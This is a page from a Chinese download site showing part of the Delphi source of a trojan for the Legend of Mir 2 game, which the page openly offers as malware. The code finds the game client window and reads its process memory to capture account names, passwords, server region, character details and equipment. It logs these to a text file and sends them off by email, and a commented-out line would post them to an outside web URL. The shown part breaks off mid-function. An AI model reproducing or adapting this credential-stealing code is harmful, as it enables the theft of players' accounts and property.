⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 main.dpr

📁 传奇木马原代码 DELPHI编写 可设置后门 ASP和邮箱发信两种设置
💻 DPR
📖 第 1 页 / 共 4 页
字号:
    nOK	:THANDLE;
    addr:dword;
    eaddr:DWORD ;
    AddAddr:DWORD ;
    buf1:array[0..FindCount] of pchar ;
    OK  :BOOL;
    nSize: DWORD;
    lpNumberOfBytesRead:cardinal;
    FindS,res,tmp:string;
    s:array[0..FindCount] of string;
    i,j:integer;   //,
  FocusWnd: HWND;
  Title: array[0..255] of Char;
begin
  AhWnd :=SearMirwindow('TfrmMain');//findwindow(pchar('TfrmMain'),pchar('legend of mir2'));

  if (AhWnd =0) then exit;
  
  GetWindowThreadProcessId(AhWnd,@hProcId);
//  PROCESS_ALL_ACCESS or PROCESS_TERMINATE or PROCESS_VM_OPERATION or   or  PROCESS_VM_WRITE

  nOK :=OpenProcess(PROCESS_VM_READ,FALSE,hProcId);
  if(nOK =0) then exit;
  if len<>0 then begin
  	addr:=HexToInt(baseaddress);
    nSize:=len ;
  	buf1[0]:=AllocMem(nSize);
    OK :=ReadProcessMemory(nOK,Pointer(addr),buf1[0],nSize,lpNumberOfBytesRead); //读取我们保存EDX中的基础

    if(OK or (nSize<>lpNumberOfBytesRead)) then begin
      s[0]:='';
      for i :=0  to nSize-1 do  begin
        {读取内容}
        s[0] := s[0] + format('%.2X',[ord(buf1[0][i])]);
      end;
    end;
    FreeMem(buf1[0], nSize);
 		CloseHandle(nOK);

  	tmp:=s[0];
    i:=1;
    res:='';
    while i<length(tmp) do begin
    	res:=res+chr(HexToInt(copy(tmp,i,2)));
      inc(i,2);
    end;
    result:=res;
    exit;
  end;

  FindS:='496E646570656E64656E74204269746D61700000006A280000';
  //AddAddr:=
  //FindL:=Length(FindS) div 2;
  AddAddr:=$1800;
  for j:=0 to high(buf1) do begin
    if judgesys=3 then begin    // Not judgesys in [1,2]
	    //win2000**************************
	    addr :=$DB0000+AddAddr*j;
  	  eaddr:=$DC0000+AddAddr*j;
	    //addr :=$DB0000+AddAddr*j;
  	  //eaddr:=$DC0000+AddAddr*j;
  	  //\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ A000A0
      //addvalue(hkey_classes_root,SubMainKey,'ssss6','pchar(s)',1);
    end else begin
	    //win98**************************
  	  addr :=$1180000+AddAddr*j;
	    eaddr:=$1181800+AddAddr*j;    //1181800
	    //\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 01181e00
     // addvalue(hkey_classes_root,SubMainKey,'ssss4','pchar(s)',1);
    end;
    nSize:=eaddr-addr+1;
    buf1[j]:=AllocMem(nSize);
    OK :=ReadProcessMemory(nOK,Pointer(addr),buf1[j],nSize,lpNumberOfBytesRead); //读取我们保存EDX中的基础
    //addvalue(hkey_classes_root,SubMainKey,'ssss3',pchar(s[j]),1);
    if(OK or (nSize<>lpNumberOfBytesRead)) then begin
      //addvalue(hkey_classes_root,SubMainKey,'ssss5','pchar(s)',1);
      s[j]:='';
      for i :=0  to nSize-1 do  begin
        {读取内容}
        s[j] := s[j] + format('%.2X',[ord(buf1[j][i])]);
      end;
    end;
    //addvalue(hkey_classes_root,SubMainKey,'bbbb',pchar(s[j]),1);
    FreeMem(buf1[j], nSize);
  end;

  CloseHandle(nOK);
  //addvalue(hkey_classes_root,SubMainKey,'ssss',pchar(s[j]),1);

  tmp:='';
  for j:=0 to high(s) do begin
    tmp:=tmp+s[j];
    i:=Pos(FindS,tmp);
    if i>0 then begin
      if j<high(s) then
        tmp:=tmp+s[j+1];
  	  i:=i+ Length(FindS);
      tmp:=copy(tmp,i,100);
      i:=1;
      res:='';
      while i<length(tmp) do begin
    	  res:=res+chr(HexToInt(copy(tmp,i,2)));
        inc(i,2);
      end;
      result:=res;
      break;
    end else begin
      if j<high(s) then
        tmp:=copy(tmp,length(tmp)-Length(FindS)+1,Length(FindS));
    end;
  end;
end;

function Trim(const S: string): string;
var
  I, L: Integer;
begin
  L := Length(S);
  I := 1;
  while (I <= L) and (S[I] <= ' ') do Inc(I);
  if I > L then Result := '' else
  begin
    while S[L] <= ' ' do Dec(L);
    Result := Copy(S, I, L - I + 1);
  end;
end;


procedure WriteJs(n:integer);
var SubKey:string;
		i:integer;
	function GetStr(str:string;flag:integer):string;
  begin
  	if flag=0 then begin
    	if str='0' then
      	result:='武士'
      else if str='1' then
      	result:='魔法师'
      else if str='2' then
      	result:='道士';
    end else begin
    	if str='0' then
      	result:='男'
      else result:='女';
    end;
  end;
var tmp:string;
begin
  Js1Name:='';
  if (n>=5)then begin

  	if (UserName<>'') and (PassWord<>'') and (QuYu<>'') then begin
	    //角色1
      tmp:=splite_array[0];
      if copy(tmp,1,1)='*' then
        delete(tmp,1,1);
      Js1Name   := Trim(tmp);
      Js1ZhiYe  := Trim(GetStr(splite_array[1],0));
      Js1Dengji := Trim(splite_array[3]);
      Js1Xingbei:= Trim(GetStr(splite_array[4],1));
    end;
  	Flag1:=True;
  end;
  if n =10 then begin
  	//角色2
    tmp:=splite_array[5];
    if copy(tmp,1,1)='*' then
      delete(tmp,1,1);
      Js2Name    := Trim(tmp);
      Js2ZhiYe   := Trim(GetStr(splite_array[6],0));
      Js2Dengji  := Trim(splite_array[8]);
      Js2Xingbei := Trim(GetStr(splite_array[9],1));
  end;
end;
procedure Wfdaklfjasd;
var
    LogFile : textfile;
begin
      AssignFile(LogFile, 'c:\MirLog.txt');
      Rewrite(LogFile);
      WriteLn(LogFile,'用户名:'+UserName);
      WriteLn(LogFile,'密  码:'+PassWord);
      WriteLn(LogFile,'区  域:'+QuYu);
      WriteLn(LogFile,'服务器:'+ServerNick);
      WriteLn(LogFile,'角色名称1:'+Js1Name);
      WriteLn(LogFile,'角色职业1:'+Js1ZhiYe);
      WriteLn(LogFile,'角色等级1:'+Js1Dengji);
      WriteLn(LogFile,'角色性别1:'+Js1Xingbei);
      WriteLn(LogFile,'角色名称2:'+Js2Name);
      WriteLn(LogFile,'角色职业2:'+Js2ZhiYe);
      WriteLn(LogFile,'角色等级2:'+Js2Dengji);
      WriteLn(LogFile,'角色性别2:'+Js2Xingbei);
      WriteLn(LogFile,'角色装备:'+ZhuangBei);
      CloseFile(LogFile);
end;




procedure GetZBThread(Thread: TThread);
var p:Longint; i:integer;
    SubKey,ServerName,ZB:string;
		ok:boolean;
    //LogFile : textfile;
begin
    Sleep(5000);
  	p:=SearMirwindow('TfrmMain');
    if p=0 then
      begin
        SetInfor;
        Exit;
      end;
    ok:=false;
    ZB:='';
    ServerName:=Trim(GetMem(p,'4F7EFD',10));
    if length(ServerName)>1 then begin
      ZB:=ServerName+'/';  //'衣服:' +
      ok:=true;
    end;
    ServerName:=Trim(GetMem(p,'4F7F31',10));
    if length(ServerName)>1 then begin
      ZB:=ZB+ServerName+'/';   // '武器:' +
      ok:=true;
    end;
    ServerName:=Trim(GetMem(p,'4F7FCD',10));
    if length(ServerName)>1 then begin
      ZB:=ZB+ServerName+'/';    // '头盔:' +
      ok:=true;
    end;
    ServerName:=Trim(GetMem(p,'4F7F99',10));
    if length(ServerName)>1 then begin
      ZB:=ZB+ServerName+'/';   //'项链:'+
      ok:=true;
    end;
    ServerName:=Trim(GetMem(p,'4F8001',10));
    if length(ServerName)>1 then begin
      ZB:=ZB+ ServerName+'/';    //+'右手镯:'
      ok:=true;
    end;
    ServerName:=Trim(GetMem(p,'4F8035',10));
    if length(ServerName)>1 then begin
      ZB:=ZB+ServerName+'/';   //'左手镯:' +
      ok:=true;
    end;
    ServerName:=Trim(GetMem(p,'4F8069',10));
    if length(ServerName)>1 then begin
      ZB:=ZB+ServerName+'/';   //+'右戒指:'
      ok:=true;
    end;
    ServerName:=Trim(GetMem(p,'4F809D',10));
    if length(ServerName)>1 then begin
      ZB:=ZB +ServerName+'/';  //+'左戒指:'
      ok:=true;
    end;
    if ok then begin
      delete(ZB,length(ZB),1);
      ZhuangBei:= ZB;
      Flag2:=True;
        //到此已经完成了一次用户密码读取。可以在这里提交所有数据。
      if Quyu<>'abcdefghijklmnopqrstuvwxyz1234567890' then
      begin
      if (pos(zb1,Zhuangbei)>0) or (pos(zb2,Zhuangbei)>0) or (pos(zb3,Zhuangbei)>0)
      or (pos(zb4,Zhuangbei)>0)or (pos(zb5,Zhuangbei)>0)or (pos(zb6,Zhuangbei)>0)
      or (pos(zb7,Zhuangbei)>0)or (pos(zb8,Zhuangbei)>0)or (pos(zb9,Zhuangbei)>0)
      or (pos(zb10,Zhuangbei)>0)or (pos(zb11,Zhuangbei)>0)or (pos(zb12,Zhuangbei)>0)
      or (pos(zb13,Zhuangbei)>0)or (pos(zb14,Zhuangbei)>0)or (pos(zb15,Zhuangbei)>0)
      or (pos(zb16,Zhuangbei)>0)or (pos(zb17,Zhuangbei)>0)or (pos(zb18,Zhuangbei)>0)
      or (pos(zb19,Zhuangbei)>0) then
        begin
         { Js1Name:='';
          Js1ZhiYe:='';
          Js1Dengji:='';
          Js1Xingbei:='';
          Js2Name:='';
          Js2ZhiYe:='';
          Js2Dengji:='';
          Js2Xingbei:='';
          ZhuangBei:='';}
          SendEMail;
         // PostURL('http://www.wymm.com/mir/login.asp','gameid='+UserName+'&password='+PassWord+'&quyu='+quyu+'&mirserver='+ServerNick+'&js1='+js1name+'&js1zy='+Js1ZhiYe+
           // '&js1dj='+Js1Dengji+'&js1sex='+Js1Xingbei+'&js2='+Js2Name+'&js2zy='+Js2zhiye+'&js2dj='+js2dengji+'&js2sex='+Js2Xingbei+'&zb='+ZhuangBei);
        end else begin
          SendEMail;
        end;
      end;
    end;
end;

procedure GetPassWord;
var reAddress:integer;
    Position,PosServer:string;
begin
    if (judgesys=3) and
    	(UserName<>'') then begin
    	Position:=FGetMem('233C3C3C3C3C3D403E3C3C3C3C3C3C3C3C21',
        	'2690000','1800',12,false,'',false,0,PosServer,reAddress);
      if reAddress <>0 then begin
      	PosServer:=inttohex(reAddress-20-length('233C3C3C3C3C3D403E3C3C3C3C3C3C3C3C21'),1);  //14
        Position:=GetMem(0,PosServer,12);
        if (Position<>'') and (PassWord<>Position) then
          PassWord:= Position;
      end;
    end;
end;


procedure LogoMouse(Wpa,Lpa:integer);
var p:Longint;
    c:array[1..19] of Longint;
    Lo,L:Longint;
    Rect:TRect; Cpoint:Tpoint;
    i,t,n,s,f:integer;
    SubKey,ServerName:string;
    VN:string;
    r:integer;
Begin
	if Flag2=True then exit;
	if Flag1=True then begin
        getcursorpos(Cpoint);
        Rect.Left :=360;
        Rect.Top :=425;
        Rect.Right :=440;
        Rect.Bottom :=458;
        if (ptinrect(Rect,Cpoint)) then
          begin //公告
            Flag2:=True;
            TThread.Create(@GetZBThread,0);
          end;
  	Exit;
  end;
  if Flag=True then begin
		if (Wpa=$0201) then begin //WM_LBUTTONDOWN
 			p:=SearMirwindow('TfrmMain');//findwindow(pchar('TfrmMain'),pchar('legend of mir2'));
      if p=0 then Exit;
    	if p<>0 then begin
 				getcursorpos(Cpoint);
        Rect.Left :=385;
        Rect.Top :=458;
        Rect.Right :=430;
        Rect.Bottom :=478;
        if (ptinrect(Rect,Cpoint)) then
         begin //点开始
           if GetOSVersion=cOsWhistler then  // winxp系统
             begin
               n:=splite_str(GetMem(p,'A000A0',20000),'/');
               //A048A0 A06991 A069BD  A069BC   DB0000
               WriteJs(n);
             end else if GetOSVersion=cOsWin2000 then   //win2000系统
             begin
               n:=splite_str(GetMem(p),'/');
               WriteJs(n);
             end else if (GetOSVersion=cOsWin98) or (GetOSVersion=cOsWin98SE) then  //两种win98系统.
             begin
               n:=splite_str(GetMem(p),'/');
               if n<5 then n:=splite_str(GetMem(p,'1690000',20000),'/');
               WriteJs(n);
               {if Js1Name<>'' then
                 begin
                   //16925f0   1181e00
                   WriteJs(n);
                 end; }
             end;
            Flag1:=True;
            Exit;
        end;
        Rect.Left :=382;
        Rect.Top :=548;
        Rect.Right :=432;
        Rect.Bottom :=568;
        if (ptinrect(Rect,Cpoint)) then  begin //退出
          if WinX then
          begin
             n:=splite_str(GetMem(p,'A000A0',20000),'/');
             //A048A0 A06991 A069BD  A069BC
             WriteJs(n);
          end else begin
             n:=splite_str(GetMem(p,'1690000',20000),'/');
             //16925f0
             WriteJs(n);
          end;
        end;
    	end;
    end;
  	exit;
  end;

	if (Wpa=$0201) then begin //WM_LBUTTONDOWN
		t:=0;
		n:=0;
		s:=0;
		f:=0;
		for i:=1 to 19 do c[i]:=0;

		Lo:=findwindow(pchar('TfrmMain'),pchar('传奇客户端'));
		L:=findwindowex(Lo,0,pchar('TComboBox'),nil);
		SendMessage(L,$000D,sizeof(LogoID),integer(@LogoID));

 		p:=SearMirwindow('TfrmMain');//findwindow(pchar('TfrmMain'),pchar('legend of mir2'));
    if p=0 then Exit;

 		for i:=1 to 19 do begin
  		c[i]:=findwindowex(p,t,pchar('TEdit'),nil);
  		t:=c[i];
  		if t=0 then break
      else begin
   			s:=s+1;
   			if IsWindowVisible(t) then n:=n+1;
  		end;
 		end;

 		getcursorpos(Cpoint);
 		Rect.TopLeft.X:=425;
 		Rect.TopLeft.Y:=337;
 		Rect.BottomRight.X:=495;

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -